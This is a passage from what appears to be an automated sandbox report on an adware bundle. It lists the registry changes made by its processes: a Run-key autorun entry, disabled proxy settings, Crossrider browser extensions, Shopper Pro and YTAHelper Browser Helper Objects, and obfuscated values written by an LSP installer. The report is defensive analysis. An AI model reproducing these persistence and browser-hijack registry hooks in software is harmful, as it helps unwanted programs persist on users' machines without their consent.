"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process WebPlayer.exe:3932 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1351234145"

[HKCU\Software\WebPlayer\AppsHat]
"start-on-windows" = "true"
"Config" = "{""group-name"":""AppsHat""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "5E D6 1B EE D5 4F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\WebPlayer\AppsHat]
"last_config_request" = "Tue Feb 24 04:02:25 UTC 0200 2015"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "WebPlayer.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "F8 D6 23 F1 D5 4F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 53 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\WebPlayer\AppsHat]
"Version" = "2.13"
"first_run_complete" = "true"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "F8 D6 23 F1 D5 4F D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"AppsHat" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process Wueqljjrpxyh.exe:2588 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\AppDataLow\Software\Crossrider]
"Bic" = "27B9CE5956064EA68E6419D90F46D27BIE"

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\App Lid\Installer]
"BundledFirefox" = "1"

[HKCU\Software\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"Publisher" = "Lid"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Verifier" = "b5a8ce9b2fd904f8d63dd177efc4c201"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"DisplayName" = "App Lid"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "6A 90 BE F1 D5 4F D0 01"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"UninstallString" = "%Program Files% (x86)\App Lid\Uninstall.exe /fcp=1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"CrPublisherId" = "25286"

[HKCU\Software\AppDataLow\Software\Crossrider]
"Verifier" = "b5a8ce9b2fd904f8d63dd177efc4c201"

[HKCU\Software\InstalledBrowserExtensions\25286]
"65743" = "App Lid"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "A0 A3 9A F3 D5 4F D0 01"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\25286]
"65743" = "App Lid"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"DisplayVersion" = "1.36.01.22"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Bic" = "27B9CE5956064EA68E6419D90F46D27BIE"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 55 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"CrAppId" = "65743"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"DisplayIcon" = "%Program Files% (x86)\App Lid\utils.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\InstalledBrowserExtensions\Lid]
"65743" = "App Lid"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\InstalledBrowserExtensions\25286]
"65743" = "App Lid"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "A0 A3 9A F3 D5 4F D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The Application deletes the following value(s) in system registry:

The process 78F8.tmp:2856 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "5E D6 1B EE D5 4F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion]
"%IS_PREREQCMD%-Easy Burner" = "C:\Users\"%CurrentUserName%"\AppData\Local\Temp\78F8.tmp"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 54 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "6A 90 BE F1 D5 4F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "6A 90 BE F1 D5 4F D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion]
"%IS_PREREQF%-Easy Burner"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion]
"%IS_PREREQ%-Easy Burner"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

[HKCU\Software\Microsoft\Windows\CurrentVersion]
"%IS_PREREQCMD%-Easy Burner"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

The Application disables automatic startup of the application by deleting the following autorun value:

[HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce]
" ISSetupPrerequisistes"

The process regsvr32.exe:2524 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\ShopperPro.ShopperProBHO]
"(Default)" = "Shopper Pro"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\VersionIndependentProgID]
"(Default)" = "ShopperPro.ShopperProBHO"

[HKCR\ShopperPro.ShopperProBHO.1\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro64.dll"
"ThreadingModel" = "Apartment"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro64.dll"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\ProgID]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "Shopper Pro"

[HKCR\ShopperPro.ShopperProBHO\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\ShopperPro.ShopperProBHO\CurVer]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\AppID\ShopperPro.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "ShopperPro"

[HKCR\ShopperPro.ShopperProBHO.1]
"(Default)" = "Shopper Pro"

It registers itself as a Browser Helper Object (BHO) to ensure its automatic execution every time Internet Explorer is run. It does this by creating the following registry key(s)/entry(ies):

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

"NoExplorer" = "1"

The process regsvr32.exe:2400 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "Shopper Pro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro.dll"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\VersionIndependentProgID]
"(Default)" = "ShopperPro.ShopperProBHO"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro.dll"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\ShopperPro.ShopperProBHO\CurVer]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "ShopperPro"

[HKCR\AppID\ShopperPro.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\ShopperPro.ShopperProBHO]
"(Default)" = "Shopper Pro"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"Version" = "1.0"

[HKCR\ShopperPro.ShopperProBHO.1\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"Version" = "1.0"

[HKCR\ShopperPro.ShopperProBHO\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}]
"(Default)" = "IShopperProBHO"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\ShopperPro.ShopperProBHO.1]
"(Default)" = "Shopper Pro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\HELPDIR]
"(Default)" = "C:\ProgramData\ShopperPro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0]
"(Default)" = "ShopperPro 1.0 Type Library"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}]
"(Default)" = "IShopperProBHO"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\ProgID]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"NoExplorer" = "1"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]

The process regsvr32.exe:3840 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\YTAHelper.YTAHelperBHO.1]
"(Default)" = "YTAHelper"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper64.dll"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper64.dll"

[HKCR\YTAHelper.YTAHelperBHO.1\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\AppID\YTAHelper.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\ProgID]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\YTAHelper.YTAHelperBHO\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\YTAHelper.YTAHelperBHO\CurVer]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\YTAHelper.YTAHelperBHO]
"(Default)" = "YTAHelper"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelper"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "YTAHelper"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\VersionIndependentProgID]
"(Default)" = "YTAHelper.YTAHelperBHO"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

It registers itself as a Browser Helper Object (BHO) to ensure its automatic execution every time Internet Explorer is run. It does this by creating the following registry key(s)/entry(ies):

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelperBHO"

"NoExplorer" = "1"

The process regsvr32.exe:3720 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\YTAHelper.YTAHelperBHO.1]
"(Default)" = "YTAHelper"

[HKCR\YTAHelper.YTAHelperBHO.1\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\YTAHelper.YTAHelperBHO]
"(Default)" = "YTAHelper"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\ProgID]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "YTAHelper"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"Version" = "1.0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelperBHO"

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"Version" = "1.0"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0]
"(Default)" = "YTAHelper 1.0 Type Library"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper.dll"

[HKCR\AppID\YTAHelper.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\YTAHelper.YTAHelperBHO\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\YTAHelper.YTAHelperBHO\CurVer]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelper"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"NoExplorer" = "1"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper.dll"

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}]
"(Default)" = "IYTAHelperBHO"

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\VersionIndependentProgID]
"(Default)" = "YTAHelper.YTAHelperBHO"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}]
"(Default)" = "IYTAHelperBHO"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]

The process lspinst.exe:3432 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQrl`JeeizQ`aoP"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "L[EjhR\p|AyVzf@l`^{@vs\fDGSjJ"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 31 A4 44 A3"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "OTKkrVelh|ac`_w}Yu`fbISI`@Ntl"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "0E 00 00 00"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\DtdERLXDQtLli@u"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "jZoQFS^vVzso}n"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZfj"

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"FdUXjkIpvn"
"jugyvwoEcjGw"
"Uojvoqeov"
"rffapxdttSchh"
"yxQHXfdfitoe"
"qPacydvhduuR"
"qvorsEtjxw"
"qvbbRNdMg"
"yEsrDTepOCs"
"cgcdxuSksc"
"MNEMOyZJWG"
"LdsE"
"fSXewhkfv"
"omdjT"
"hFLwn"
"DxOl"
"uqmpybcjdI"
"pseKcc"
"pxylOXnGwpXkz"

The process lspinst.exe:3868 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQrl`JeeizQ`aoP"

